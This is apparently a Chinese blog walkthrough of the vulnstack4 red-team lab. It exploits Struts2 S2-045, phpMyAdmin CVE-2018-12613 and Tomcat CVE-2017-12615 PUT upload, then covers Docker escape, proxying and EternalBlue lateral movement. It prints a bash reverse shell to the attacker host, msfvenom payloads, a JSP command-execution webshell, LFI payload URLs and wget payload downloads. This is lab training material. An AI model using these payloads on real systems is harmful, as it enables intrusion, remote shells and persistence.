
红日安全 ATT&CK 靶机实战系列之 vulnstack4_红日靶场 4
ATT&CK 红队评估(红日靶场四) - FreeBuf 网络安全行业
ATT&CK 红日 4 靶机渗透攻略 - CSDN 博客

# 环境搭建
Web 机器为内外网双网卡,其他两台机器全部是只有 192.168.183 一个段,所以创建一个 VM1 赋予两台机器就可以了

普通机器和 DC 域控机器都是内网 183 网段


Web 机器双网卡 NAT 保证了和 Kali 处于同一网段,自定义的 VM1 同其余两天内网机器同一网段


# 靶机 IP
机器密码
全部部署好后逐个开机检查记录 IP
1 | WEB主机 ubuntu:ubuntu |

乌班图进入 cmd 面板快捷方式 CTRL+ALT+T


域控机器按照上面密码登录过后会提示已过期修改密码为 !qaz2008

| 主机 | IP 地址 |
|---|---|
| kali 攻击机 | 192.168.111.131 (NAT) |
| Web_Ubuntu | 外网 IP 192.168.111.132 / 内网 IP 192.168.183.129 |
| Win7 | 192.168.183.131 (不出网 IP 固定 183 网段) |
| DC 域控 | 192.168.183.130 (不出网 IP 固定 183 网段) |
# 开启环境
Web 出网服务器为 Ubuntu ,需要进入 Ubuntu ,用 docker 启动漏洞环境,开启后就可以开始练习了,通过开启的这三个服务得到权限从而拿下 Ubuntu 机器再横向内网
- s2-045
- CVE-2017-12615 (tomcat put 上传)
- cve-2018-12613 (phpmyadmin 文件包含漏洞)
1 | cd /home/ubuntu/Desktop/vulhub/struts2/s2-045 |

# Web 渗透
# 信息收集
1 | arp -scan -l // 扫码本机网卡存活机器得到同一网段下的外网Ubuntu机器,实战肯定是没有的,直接就可以扫公网的IP |

得到外网地址 IP 192.168.111.132 扫码开放端口对这台机器敲敲打打,逐个访问, nmap 可以加入 -A 会得到更多的信息这
1 | nmap -sV 192.168.111.132 -A |





# Struts2 漏洞扫描
这里通过扫描命令发现了 Struts2 框架下载工具进行漏洞扫描,但如果不指纹识别光看页面可以发现这个框架吗,在 title 显示了 Struts2 标识
工具地址


执行 IP a 命令发现是 172 跟原来的不符 还好看了其他师傅的文章原来这是在 Docker 里面构建的

执行 bash 反弹命令 将权限拿到, Kali 开启监听
1 | nc -lvvp 7777 |

漏洞攻击执行反弹命令 反弹地址为攻击机端口也要一致
1 | bash -i >& /dev/tcp/192.168.111.131/7777 0>&1 |

攻击机收到来自 192.168.111.132 反弹来的 Shell

利用漏洞利用工具上传基于 Linux 的 JSP 马方便 MSF 后渗透
1 | msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.111.131 LPORT=4444 -f jsp > shell.jsp |


上传到根目录下,工具原本的上传的默认上传一个带有上传功能的小马,这里我手动替换为了 MSF 生成 Shell.JSP 内容 点击上传即可成功到根目录

MSF 监听木马完成后 浏览器访问地址即可触发木马反弹权限
1 | use exploit/multi/handler |

# PhPmyadmin CVE-2018-12613
根据版本号寻找 Nday phpmyadmin 4.8.1 远程文件包含漏洞 CVE-2018-12613 ,攻击者可以利用该漏洞在后台进行任意的文件包含,各种调用,如果我们可以上传,或者说写入一个一句话,就可以用这个漏洞调用一句话;写入木马方式就是利用 mysql 日志写入功能
影响版本
- Phpmyadmin Phpmyadmin 4.8.0
- Phpmyadmin Phpmyadmin 4.8.0.1
- Phpmyadmin Phpmyadmin 4.8.1

利用 session 文件创建 Shell , 也就是包含它这个文件
POC
1 | 1)执行SQL语句,将PHP代码写入Session文件中: |
确定存在漏洞
1 | http://192.168.111.132:2003/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd |

替换 sess
1 | index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_07e4cdc4c1089e6391dc706a6581c805 |


CVE-2018-12613:本地文件包含
使用函数写入一句话马蚁剑连接即可,但是这里我单独的用 URL 执行 phpinfo 是不行的 我以为写错了结果是我使用的是 POST 传参的,需要用插件 hack 才可以插入
1 | 函数配合file_get_contents 写入一句话文件名称shell.php 内容一句话密码为1 |
上传到网站根目录


# 蚁剑 MSF 生成木马 Getshell
生成 MSF linux 但是无法上线 应该是 Docker 环境问题 需要进行逃逸
1 | LHOST=攻击机IP LPORT=攻击机监听端口 |

生成完成后上传到 tmp 目录通常这里可读可写

给予权限并执行,但前面需要先 msf 监听 而后再执行 ./saber.elf msf 反弹得到权限
1 | chmod 7777 saber.elf |
1 | use exploit/multi/handler |


# Tomcat CVE-2017-12615 PUT 上传
Kali 自带了漏洞扫描工具 nickto 扫描一下 Tomcat 回显的信息看不懂 AI 就是说
服务器允许使用 HTTP PUT 方法,这可能允许攻击者在服务器上上传和保存任意内容,包括潜在的恶意文件。建议禁用 HTTP PUT 方法,或者仅在需要时启用,并确保上传的内容经过严格验证和清理
1 | nikto -url http://192.168.111.131:2002/ |

另外寻找 GUI 漏洞利用工具吧,但有的运行 jar 包有问题要么是扫了不知道怎么利用,总体是利用 PUT 上传 shell JSP 从而连接得到权限

上方的 Py 脚本虽然检查到了漏洞但不知道密码啊我咋连啊,无奈手工复现,抓包修改请求方式请求体写为一句话木马,创建文件从而连接, PUT 文件上传的名称是 shelel.jsp 这里创建的一个输入框是同样可以执行命令的,好似虚拟终端,所以不需要蚁剑连接,配合 wget 下载木马文件,本地 Python 开启端口上传一个 shell.elf 从而执行就会上,步骤在文章中
1 | <% String command = request.getParameter("cmd"); if(command != null) { java.io.InputStream in=Runtime.getRuntime().exec(command).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1) { out.println(new String(b)); } out.print("</pre>"); } else { out.print("format: xxx.jsp?cmd=Command"); }%> |
Tomcat 任意文件写入(CVE-2017-12615)漏洞复现 - 含 POC 和 EXP 冰蝎连接
红日安全 ATT&CK 靶机实战系列之 vulnstack4_红日靶场 CM 输入框上线
1 | python -m http.server 8080 # 将msf生成的saber.elf文件放在目录下打开cmd开启端口 |

监听步骤和上面拿到 PHPadmin 权限一样

# 内网渗透
# Docker 特权模式逃逸
哪怕 msf 得到了服务的权限但也还是在 Docker 容器环境中 无法对真实的机器造成危害,从 vmware 的虚机跳到实体机上,这其实就叫做 docker 逃逸
1 | 命令会显示容器的控制组(cgroup)信息,这通常用于了解容器的资源限制和监控 |


文章利用有 CVE-2019-5736 [1] 和 dirty cow 漏洞进行逃逸,但都失败了我为了方便就记录下 privileged 特权模式逃逸方式,这个方式可以在对方机器的磁盘写入 SSH 公匙 这样攻击机就可以利用私钥免密登录对方机器,实现控制, PHPadmin 和 Struts 的权限俊没有逃逸成功只能利用 Tomcat 权限
此方法出现 N 多问题,我按步骤梳理好,最后没有成功通过 SSH 私匙免密登录在得到 Tomcat 权限 MSF 基础上执行 shell [2] 类似于 cmd 但是无法删除单个词如果一个写错只能 CTRL+U 删除整行,
首先创建目录挂载文件
1 | mkdir /hack |
将 /dev/sda1 挂载到 /hack 目录里
1 | mount /dev/sda1 /hack |
攻击机通过命令生成 ssh 秘钥,输入后两次回车不然要写密码,生成放在桌面行,我在桌面上开了 8080 端口这样 ubuntu 机器就可以访问下载公匙文件,登录拿本地私钥验证
1 | ssh-keygen -f hack # hack为生成名称一般为id_rsa |

1 | wget http://192.168.111.131:8080/id_rsa.pub |

公钥拷贝到 ubuntu 的. ssh 中并需要正常的设置权限 我怀疑这里我搞混淆了 权限没有设置到但是已经找不到方法了
1 | cp id_rsa.pub /tmp/forest/home/ubuntu/.ssh/authorized_keys |
完成如上步骤后还是无法在攻击机免密登录,无奈只能拿靶场密码直接连接开启内网渗透


# Ubuntu 权限上线 MSF
SSH 登录进真实的物理机器后再次通过木马上线到 MSF , 下载木马的方式还是利用开启的端口下载
1 | wget http://192.168.111.131:8080/saber.elf |

# 信息收集
得到机器权限后信息收集看看网卡 183 段就是第二个段了,后续添加路由达到通讯目的
1 | ipconfig |

扫描一下该 183 网段下还要哪些存活机器,使用 UDP 协议进行存活主机发现
1 | use auxiliary/scanner/discovery/udp_probe |

MSF 手动添加路由也可以自动添加,记得 bg 回退 创建后上传工具到机器上
1 | route add 192.168.183.0 255.255.255.0 2 |

# EW 代理流量
工具上传方式可以是 upload 也可以是开个端口 wget 下载,如果是在 MSF 窗口需要切换为 shell 不然不能执行代理的命令 MSF 识别不了
1 | upload ew_for_linux64 /home/ubuntu // 上传ew工具到机器下的 /home/ubuntu目录下 |

受害机器 Ubuntu 执行此命令,端口 1234
1 | ./ew_for_linux64 -s rssocks -d 192.168.111.131 -e 1234 // 注意是rssocks |

攻击机 Kali 成功收到
1 | ./ew_for_linux64 -s rcsocks -l 1080 -e 1234 // rcsocks |

如果修改了文件 proxychains4 默认端口的话就自己 vim 编辑吧 我这里默认没修改可以直接用的,攻击机可以通讯 183 网段机器了

# 横向移动
# 永恒之蓝
使用 smb_ms17010 扫描机器是否存在漏洞,这里忽略了因为扫描太慢了,存在的话会进行回显
1 | use auxiliary/scanner/smb/smb_ms17_010 |
然后使用漏洞利用模块对机器进行漏洞利用,前面的模块只是进行扫描,并且设置代理执行
1 | use exploit/windows/smb/ms17_010_eternalblue |
明明可以 ping 通也说检查到了漏洞但是一直打不上,后门流程口述吧 以后有机会再补上,拿下 win7 后慢慢的做信息收集拿下域控 DC 通过 mimikatz 拿密码,因为是域内的普通用户可以利用 MS14-068 域控提权漏洞生成新的票据通过迷你卡兹清空之前的再注入.....
